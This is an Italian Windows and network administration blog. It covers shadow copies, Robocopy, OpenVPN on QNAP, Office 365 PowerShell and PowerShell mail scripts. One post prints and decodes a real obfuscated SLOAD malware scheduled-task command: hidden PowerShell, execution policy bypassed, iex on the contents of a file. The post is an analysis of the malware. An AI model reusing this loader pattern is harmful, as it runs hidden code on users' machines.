martedì 13 agosto 2019

WINDOWS 10 SHADOW COPY

Windows 10 e Shadow copy

Nelle proprietà disco di Windows 10 c'e' il tab Previous version/versioni precedenti. La cosa che mi sfugge e' come fare a schedularle. Nei Sistemi operativi server c'e' un tab Shadow copy per configurarle. In windows 10 no!. sembra che Microsoft abbia voluto rimpiazzare questa funzione con la file history, nelle funzioni di backup, anche se non e' proprio la stessa cosa. Insomma per creare a mano una shadow copy ho trovato due metodi a linea di comando, che riporto sotto. Per quanto mi riguarda, ho usato la prima poiché la seconda e' deprecata da windows server 2012 in poi. Il vantaggio della linea di comando, e' la possibilità di schedulare l'operazione tramite task manager, nello stesso modo in cui si faceva in precedenza.


POWERSHELL (admin mode)
Invoke-WmiMethod -Class Win32_ShadowCopy -Name Create -ArgumentList ('ClientAccessible', 'C:\')

WMIC (deprecato da Windows 2012 server in poi)
WMIC shadowcopy call Create Volume=C:\



TASK SCHEDULER
Per schedulare le shadow copy in powershell con il task manager:

ESEGUIBILE:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

PARAMETRI:
Invoke-WmiMethod -Class Win32_ShadowCopy -Name Create -ArgumentList ('ClientAccessible', 'C:\')


E' possibile usare alcuni metodi per esplorare le shadow copy nel caso in cui non fossero visibili tramite il tab "PREVIOUS VERSION". Il primo e' quello di accedere in \\localhost\c$, e verificare se in questo modo il tab ne mostra di visibili.
Il secondo e' di usare alcuni tool di cui sotto riporto i link, oltre a riferimenti ad articoli che mi hanno dato le dritte corrette (ad esseri onesti anche molto di piu)

CALCOLARE QUANTO SPAZIO OCCUPANO LE SHADOW COPIES
vssadmin list shadowstorage

p.s. il numero massimo di shadow copies e' 64. Superate le 64, oppure il limite di spazio preimpoststo (l'impostazione predefinita e' il 10% dello spazio disco), le piyu recenti sovrascrivono le piu vecchie.

p.s. 2 le shadows copies funzionano solo con volumi NTFS



REFERENCE


venerdì 26 luglio 2019

Malware in powershell - SLOAD Powershell threat


Oggi mi sono imbattuto in un virus che mi ha leggermente incuriosito.
Nel task manager era schedulato un job che esegue il seguente comando.
Il sintomo è che durante l'utilizzo del PC, ogni due minuti appariva un prompt dei comandi che eseguiva taskeng.

C:\Windows\system32\cmd.exe /c pow%tmp:~5,3%hell /ep bypass /win 1 /c "&{cd %public:~-15,9%;$y=ls -force -r -in comu*.*|select -last 1;$y=gc -LiteralPath $y|select -last 1;iex $y}"

Mi ha incuriosito perche di primo acchito non ho capito pressoché nulla, cosi ho pensato di tradurlo...

Chiariti un paio di dettagli diventa leggermente piu facile interpretarlo:

Parametri Powershell. E possible avviare powershell usando una serie di parametri. Nel nostro caso:

/ep bypass = imposta l'execution policy dello script in bypass per poter eseguire i comandi seguenti senza restrizioni (-ExecutionPolicy | -ex | -ep)

/win 1 = imposta la modalita della finestra windowstyle (Valid values are Normal, Minimized, Maximized and Hidden)

/c Esegue una comando

Molti comandi in powershell possono essere abbreviati usando degli alias:
ls = get-childitem
gc = get-content
iex = invoke-expression

Per visualizzare il contenuto di una variabile basta aprire un prompt dei comandi ed usare il comando echo.
ES:
echo %tmp:~5,3% = "ers" (leggi la variabile %tmp%, e di questa, partendo dal quinto carattere,
prendi i primi tre consecutivi.

%tmp% = C:\Users\xxxxxxx\AppData\Local\Temp
%tmp:~5,3% (leggi tre caratteri partendo dal quinto carattere della variabile %tmp%)

echo %public:~-15,9% = "C:\Users"

In sintesi il comando apre una powershell con permessi elevati e senza limitazioni ed esegue un comando scritto in un file

TRADUZIONE

C:\Windows\system32\cmd.exe /c = apri un prompt dei comandi ed esegui quanto segue

pow%tmp:~5,3%hell  =  dalla variabile %tmp% leggi tre caratteri partendo dal quinto. Corrisponde alla string "ers"
/c "&{cd %public:~-15,9%;$y=ls -force -r -in comu*.*|select -last 1;$y=gc -LiteralPath $y|select -last 1;iex $y}" (esegue un comando)

cd %public:~-15,9% = cd c:\Users
$y=ls -force -r -in comu*.*|select -last 1
  •   cerca nella cartella c:\users e rispettive sottocartelle tutti i file che iniziano per comu*.* e  seleziona l'ultimo

 $y=gc -LiteralPath $y|select -last 1
  • del file selezionato legge tutte le righe una ad una e seleziona l'ultima. Literlpath e' un parametro che  impedisce l'interpretazione   dei caratteri speciali.
                              ES: se %zzz% = "ciao"
                              No literal path c:\%zzz%mondo = c:\ciaomondo
                              Literal path c:\%zzz%mondo = c:\%zzz%mondo

iex $y

  • esegue il comando $y
Direi che manca ancora qualche pezzo da mettere insieme...


RIFERIMENTI
https://security.stackexchange.com/questions/213942/undetected-trojan-what-type-of-scheduled-task-is-this/213950
https://www.bleepingcomputer.com/forums/t/701329/undetected-trojan/
https://docs.microsoft.com/it-it/powershell/module/Microsoft.PowerShell.Core/About/about_pwsh?view=powershell-6
https://docs.microsoft.com/it-it/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1
https://blog.yoroi.company/research/the-sload-powershell-threat-is-expanding-to-italy/


martedì 16 luglio 2019

Esportazione shares

Export shares and restore by registry

https://support.microsoft.com/en-us/help/125996/saving-and-restoring-existing-windows-shares

script to export shares permission on files
https://gallery.technet.microsoft.com/scriptcenter/List-Share-Permissions-83f8c419

Spostamento file server - Robocopy bug

Durante lo spostamento di un file server usando Robocopy mi e' successa una cosa molto particolare.
Ho dimenticato di escludere la cartella "c:\documents and setting" e SOPRATTUTTO di usare il parametro /xj per escludere i junction point (o soft link). Sul disco di destinazione mi sono trovato una cartella d:\user che ripeteva all'infinito il proprio contenuto. Non era possibile cancellare il contenuto a mano.
in primo luogo ho pensato di resettare i permessi, poiche alcune cartelle non consentivano l'accesso. Risolto il problema dell'accesso alle sottocartelle bloccate, mi sono reso conto che contenevano le stesse cartelle all'infinito.
Per resettare i permessi di file system sulla cartella ho usato il comando:

icacls d:\a\* /reset /q /c /t

Dopodiche ho usato il comando PURGE di robocopy

robocopy d:\log d:\a /purge (ho forzato l'allineamento della cartella inciriminata con una vuota che non contiene junction point)

Forse ho trovato un bug di robocopy... o magari dovevo fare piu attenzione io?!?


Riferimenti
https://www.2brightsparks.com/resources/articles/NTFS-Hard-Links-Junctions-and-Symbolic-Links.pdf

lunedì 15 luglio 2019

DROPBOX AS A SERVICE

I software come Dropbox, Onedrive ecc. ecc. sono molto comodi, ma richiedono l'accesso con un utente. In alcuni e' possibile bypassare questo limite installandoli ed eseguendoli come servizio in Windows. Un software datato, ma molto conosciuto, e' SRVANY, del vecchio toolkit di Windows.
Nel mio caso ho usato NSSM (http://nssm.cc/). software carino e gratuito.
Usando tale software e' possibile avviare l'eseguibile di dropbox client come servizio. Occorre fare attenzione ad alcuni dettagli.

Disattivare l'avvio automatico di Dropbox:



Scaricare NSSM e copiarlo in una cartella a piacere (io ho scelto c:\program files). Aprire un prompt dei comandi ed avviare il comando nssm.exe -install. Si aprira la schermata sotto, in cui sara' necessario avere puntare l'eseguibile (c:\Program Files (x86)\Dropbox\Client\Dropbox.exe).



E premere installa. E' fondamentale eseguire il servizio nel contesto dell'utente in cui dropbox e' stato configurato. Inizialmente ho configurato tutto come local system e non funzionava la sincronizzazione. Dopo aver modificato l'utente con cui eseguire il servizio, tutto ha funzionato a dovere.

Riferimenti e ringraziamenti:
https://0sten.wordpress.com/daws_en/
https://www.coretechnologies.com/products/AlwaysUp/Apps/RunDropboxAsAService.html



mercoledì 19 giugno 2019

_msdcs missing

Oggi ho provato ad aggiungere un nuovo domain controller e nonostante a livello di impostazioni di scheda di rete e connettività fosse tutto regolare non c'era verso di riuscirci.
Dopo qualche piccola indagine mi sono reso conto che mancava completamente la zona:
_msdcs.dominio.local.
Questa zona contiene tutti i record necessari per individuare DC, GC ed altri servizi di AD.
Per ricreare la zona ho:

 - verificato la presenza della cartella (subzone) _msdcs dentro a dominio.local.
Siccome rappresenta una delega, deve apparire in grigio e non in giallo come tutte le altre subzone.

 - creato manualmente la zona _msdcs.dominio.local (primary, AD integrated)

 - riavviato il servizio NETLOGON (accesso di rete)

Se tutto e' andato come deve la zona verrà correttamente popolata.

Nel caso in cui mancasse questa zona, potrebbe non essere possibile aggiungere domain controller, o altri client al dominio.

Link di riferimento:





mercoledì 12 giugno 2019

Collegarsi ad Office 365 tramite powershell (with or w/o MFA)

Per collegarsi in powershell senza MFA (multifactor authentication)

Aprire powershell in administrative mode

Set-ExecutionPolicy -executionpolicy Unrestricted

$UserCredential = Get-Credential
apparira una finestra in cui inserire le credenziali di accesso al tenant

Oppure

$UserCredential = Get-Credential postmaster@tenantname.onmicrosoft.com
 (verra richiesta la password)


$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://outlook.office365.com/powershell-liveid/ -Credential $UserCredential -Authentication Basic -AllowRedirection
Con questo comando viene creata la sessione

Import-PSSession $Session

Oppure

Import-PSSession $Session -DisableNameChecking

con questo comando si avvia la sessione

Remove-PSSession $Session
Ricordarsi di chiudere la sessione, una volta concluso.

Esiste un limite di sessioni. Una volta raggiunto questo limite non e' possibile crearne di nuove. Per collegarsi occorre aspettare che quelle occupate vadano in timeout

Get-pssession
mostra le sessioni attive in questo momento

Collegarsi ad Office365 in Powershell con MFA
Aprire il browser (come administrator), andare nell'interfaccia di gestione di Exchange online - in Hybrid e premere su powershell. 
A questo punto si aprira la powershell. Se abbiamo aperto il browser come administrator, si aprira la powershell come administrator.
Eseguire il  seguente comendo:

Connect-EXOPSSession [-UserPrincipalName -ConnectionUri <ConnectionUri> -AzureADAuthorizationEndPointUri <AzureADUri> -DelegatedOrganization <String>]
Connect-EXOPSSession -UserPrincipalName user@domain.onmicrosoft.com


REFERENCE
https://docs.microsoft.com/it-it/powershell/exchange/exchange-online/connect-to-exchange-online-powershell/mfa-connect-to-exchange-online-powershell?view=exchange-ps
https://docs.microsoft.com/en-us/powershell/exchange/exchange-online/connect-to-exchange-online-powershell/connect-to-exchange-online-powershell?redirectedfrom=MSDN&view=exchange-ps
https://docs.microsoft.com/en-us/powershell/exchange/exchange-online/connect-to-exchange-online-powershell/connect-to-exchange-online-powershell?view=exchange-ps
https://docs.microsoft.com/en-us/powershell/exchange/exchange-online/disable-access-to-exchange-online-powershell?view=exchange-ps
https://www.solvitns.com.au/how-to-connect-disconnect-to-office-365-with-powershell/

lunedì 27 maggio 2019

TEST SMTP AUTENTICATO TRAMITE TELNET


Nel caso in cui fosse necessario collegarsi in telnet ad un SMTP autenticato per effettuare dei test di funzionamento, spedizione ecc. ecc. e possibile farlo tenendo presente che occorre rispondere in BASE64 per comunicare username e password.

in sintesi:

 - telnet "nome mailserver" "porta mailserver"
 - helo me
 - auth login (da qui in poi il server rispondera' in base 64.)
inserire la username codificata in base64 e premere invio
inserire la password codificata in base64 e premere invio

da ora in poi e' possibile continuare con i normali comandi:

mail from: indirizzo mittente
rcpt to: indirizzo destinatario
data
.


REFERENCE

venerdì 18 gennaio 2019

QNAP Entware TCPDump e comandi bash Linux

Configurando la VPN sulla QNAP, mi sono reso conto che mi avrebbe fatto comodo usare il comando TCPDUMP. Purtroppo il comando non e' disponibile in modo nativo sulla QNAP. Per risolvere il problema ci viene incontro l'app Entware che consente l'installazione di molti comandi non presenti in modo nativo.
Per installarlo occorre:
 - scaricare il qpkg
 - installarlo manualmente dall'app center della qnap
 - aprire una shell in ssh
 - andare nel percorso del programma, aggiornare la lista delle applicazioni disponibili, installare le applicazioni ed i comandi necessari ed infine usarli :).

 - Andando sul seguente link:
http://entware.zyxmon.org/binaries/other/Entware-ng_0.97.qpkg
e' possibile scaricare l'applicazione
 - Installazione Entware
Dopo aver scaricato l'app installarla manualmente dall'APP CENTER di QNAP.
 - accedere in console
Accedere alla QNAP tramite SSH
 - Usare entware
"/opt/bin/opkg update"                - aggiornamento dell'elenco dei pacchetti disponibili
"/opt/bin/opkg list"                      - elenca i pacchetti disponibili
"/opt/bin/opkg install tcpdump"  - installa un pacchetto (e le dipendenze eventuali)
 - Utilizzare i software installati
Nel mio caso, TCPDUMP, e' stato installato in /opt/sbin/tcpdump

Finito

Link:
https://forum.qnap.com/viewtopic.php?f=351&t=116737&sid=5976d6b470a1d4e541d6b543c98aa355

OPENVPN su QNAP

Bene,

eccoci ad un capitolo interessante. Configurare OPENVPN su QNAP in modo che sia accessibile anche la rete interna.
Configurare OpenVpn su QNAP non e' complesso. Essenzialmente e' sufficiente:
 - installare ed aprire l'applicazione QVPN (app center/qvpn)


 - abilitare OpenVPN, con i parametri base



 - pubblicare la nas (nel mio caso ho deciso di usare la porta TCP/1194). Cio significa che tutto il traffico proveniente dall'esterno e destinato sulla porta TCP/1194 venga redirezionato sulla NAS.

Fatto questo saremo in grado di raggiungere la QNAP dall'esterno. Per rendere raggiungibile tutta la rete interna sulla quale risiede la NAS stessa, usandola come un vero e proprio Access Server, occorre effettuare qualche piccola modifica.

 - Abilitare l'SSH.
Le modifiche che andremo a fare richiedono l'accesso in SSH alla NAS.
 - modificare il file vpn_openvpn.sh
Ogni volta che viene riavviato il servizio QVPN sulla NAS, il file "/etc/openvpn/server.conf" viene rigenerato. Per questo motivo e' inutile modificare questo file ma occorre agire sull'origine. Modificare il file: vim /share/CACHEDEV1_DATA/.qpkg/QVPN/etc/init.d/vpn_openvpn.sh.
Cercare il blocco:

                persist-tun
                duplicate-cn
                script-security 3
                client-to-client
                management localhost 7505
                #username-as-common-name
                client-cert-not-required
                auth-user-pass-verify /usr/sbin/qvpn.sauth via-env

                ca /etc/openvpn/keys/ca.crt
                dh /etc/openvpn/keys/dh1024.pem
                key /etc/openvpn/keys/myserver.key
                cert /etc/openvpn/keys/myserver.crt

                client-connect /etc/openvpn/connect.sh
                client-disconnect /etc/openvpn/disconnect.sh

                status /var/log/openvpn-status.log
                writepid /var/run/openvpn.server.pid

                port ${VPN_PORT}
                proto ${VPN_PROTO}
                max-clients ${VPN_MAXIMUM}
                server ${VPN_IP_POOL} 255.255.255.0

Ed aggiungere le due seguenti righe:

                ifconfig-pool-persist ipp.txt
                push "route 10.20.30.0 255.255.255.0"
(supponendo che questo sia l'indirizzamento della rete locale)

Salvare il file modificato e riavviare il servizio VPN con il seguente comando:

/etc/init.d/qvpn.sh restart

A questo punto siamo quasi pronti. Salvare il file di configurazione per importare il profilo sul client. Prima di importare il profilo, aprire con un editor di testo il file.ovpn ed aggiungere una riga per inserire il comando pull:


client
dev tun
script-security 3
resolv-retry infinite
nobind
auth-nocache
auth-user-pass
remote-cert-tls server
reneg-sec 0
cipher AES-128-CBC

pull

proto tcp

Il comando pull serve per consentire al client di accettare il push della route da parte del server.

Molto probabilmente l'aggiornamento dell'app QVPN o del firmware, richiederanno la reimpostazione delle modifiche fatte sopra.

E' necessario controllare anche se l'IP forwarding sulla QNAP e abilitato. Aprire il file 
vim /proc/sys/net/ipv4/ip_forward ed impostare il valore ad 1 (se fosse 0). Questo serve per abilitare l'inoltro dei pacchetti tra interfacce.

Percorsi e file utili per la configurazione
/etc/config/vpn.conf
/share/CACHEDEV1_DATA/.qpkg/QVPN/etc/init.d/vpn_openvpn.sh
/etc/openvpn/server.conf

N.B. e consigliabile fare una copia dei file di configurazione prima di modificarli.

Link:
https://openvpn.net/vpn-server-resources/site-to-site-routing-explained-in-detail/
https://openvpn.net/community-resources/how-to/#scope
https://forum.qnap.com/viewtopic.php?t=58640 (verso la fine dell'articolo)
https://forum.qnap.com/viewtopic.php?t=60189
http://blog.bobbyallen.me/2016/02/07/enabling-openvpn-clients-to-access-to-the-lan/

























lunedì 2 luglio 2018


VPN ZYWALL – SONICWALL: LAN OVERLAPPING

Nel caso in cui sia necessario collegare in VPN due sedi aventi LAN con indirizzamento IP uguale, e necessario ricorrere ad una address translation (SNAT/DNAT).
Nel nostro esempio abbiamo una sede principale, dotata di Sonicwall, con i seguenti dati:
Sonicwall Site
WAN IP: 93.39.122.196
LAN subnet: 192.168.10.x/24
TRANSLATED LAN subnet: 172.16.10.x/24
Zywall site:
WAN IP: 93.51.207.255
LAN subnet: 192.168.10.x/24
TRANSLATED LAN subnet: 172.16.11.x/24
Partiamo dalla configurazione del sito Sonicwall:

 - Creazione del gateway, impostazione dello shared secret, del local e peer ike ID



 - Impostazione delle reti con cui e’ necessario stabilire la comunicazione



 - Molto importante per poter stabilire una corretta comunicazione e’ stabilire protocolli IKE1 e IKE2 di scambio identici



 - Infine viene impostato il NAT per la traslazione delle reti



Configurazione del sito Zyxel (leggermente più lunga):

Creazione delle reti

Di seguito vengono creati i seguenti indirizzi di rete:
-          VPN_Sonicwall_mask (la rete remota mascherata)
-          LAN_Zywall_mask (la rete locale mascherata)



Creazione Gateway di reteAndando in VPN – IPSEC VPN – Tab VPN Gateway posso procedere alla creazione del gateway:





Creazione tunnel
Il passaggio succesivo e’ la creazione di un tunnel che utlizzi il gateway creato in precedenza
VPN-IPSEC-VPN CONNECTION








ROUTING POLICY
Per quanto riguarda lo Zywall, il passaggio finale e’ quello di creare una policy di routing
NETWORK – ROUTING – Tab POLICY ROUTE



Verificare che tutte le policy siano attive (con la lampadina gialla accesa)
Se avete fatto tutto bene, la VPN dovrebbe salire e dovreste poter pingare correttamente gli host da entrambe le parti del tunnel.


giovedì 18 gennaio 2018

Spedire mail da powershell (GMAIL)

Spedire mail da GMAIL usando powershell

Il codice per spedire mail tramite powershell e' molto semplice, ma nasconde qualche inghippo. Alla fine, a forza di sbatterci il cranio e leggendo qua e la sono riuscito nell'intento. Ecco il codice che ho utilizzato:
I problemi maggiori li ho avuti cercando di passare le credenziali
Fino a che non ho usato la riga di codice sopra, non c'e' stato verso di riuscirci.
#Mail
$From = "sourceaddress@gmail.com"
$To = "xxx@domain1.it , xxx@domain2.com"
$Cc = "sourceaddress@gmail.com"
#$Attachment = "C:\temp\Some random file.txt"
$Subject = "prova invio"$Body = "vediamo se va"
$SMTPServer = "smtp.gmail.com"
$SMTPPort = "587"
#Credentials
$Username = "sourceaddress@gmail.com"
$Password = ConvertTo-SecureString -String "mypassword" -AsPlainText -Force$
Credential = New-Object System.Management.Automation.PSCredential $Username, $Password
#Send MailSend-MailMessage -From $From -to $To -Cc $Cc -Subject $Subject `
-Body $Body -SmtpServer $SMTPServer -port $SMTPPort -UseSsl `
-Credential $Credential

$Password = ConvertTo-SecureString -String "mypassword" -AsPlainText -Force

Alla fine tutto ha magicamente funzionato
p.s. occorre ricordare di consentire l'utilizzo da parte di app meno sicure per l'account in questione. Questa operazione si fa accedendo con il proprio account al seguente link:
https://myaccount.google.com/lesssecureapps?pli=1

FALLIMENTO

Non sono assolutamente riuscito usando il metodo sotto (che usa System.Net.Mail.SmtpClient anziche send-mailmessamege cmdlet). Se qualcuno avesse voglia di menarselo ancora un po... Io l'ho fatto abbastanza, almeno per adesso :)

$SMTPServer = "smtp.gmail.com"
$SMTPPort = "465"
$Username = "sourceaddress@gmail.com"
#$Password = "mypassword"
$Password = ConvertTo-SecureString -String "mypassword" -AsPlainText -Force

$to = "email_to"
$cc = "email_cc"
$subject = "Results for AD Report LAST LOGON"
$body = "Script version 1.0 by Maarten Mol"
#$attachment = "C:\Test\Users-Last-Logon.csv"

$message = New-Object System.Net.Mail.MailMessage
$message.subject = $subject
$message.body = $body
$message.to.add($to)
$message.cc.add($cc)
$message.from = $username
#$message.attachments.add($attachment)

$smtp = New-Object System.Net.Mail.SmtpClient($SMTPServer, $SMTPPort);
$smtp.EnableSSL = $true
$smtp.Credentials = New-Object System.Net.NetworkCredential($Username, $Password);
$smtp.send($message)
write-host "Mail Sent"

martedì 9 gennaio 2018

Testare una connessione MS SQL SERVER remote in modo semplice (Grazie a Luca Annuiti ed Emi)



Ecco come testare il corretto funzionamento di una connessione remota a MS SQL SERVER senza utilizzare i tools di SQL.

E' sufficiente creare sul desktop un nuovo file vuoto con estensione UDL; a questo punto, con un semplice doppio click verrà visualizzata questa schermata, dove è possibile inserire i parametri della connessione e verificarne il funzionamento:

 

Basterà inserire il nome o l'IP del server e le credenziali di accesso per testare la connessione.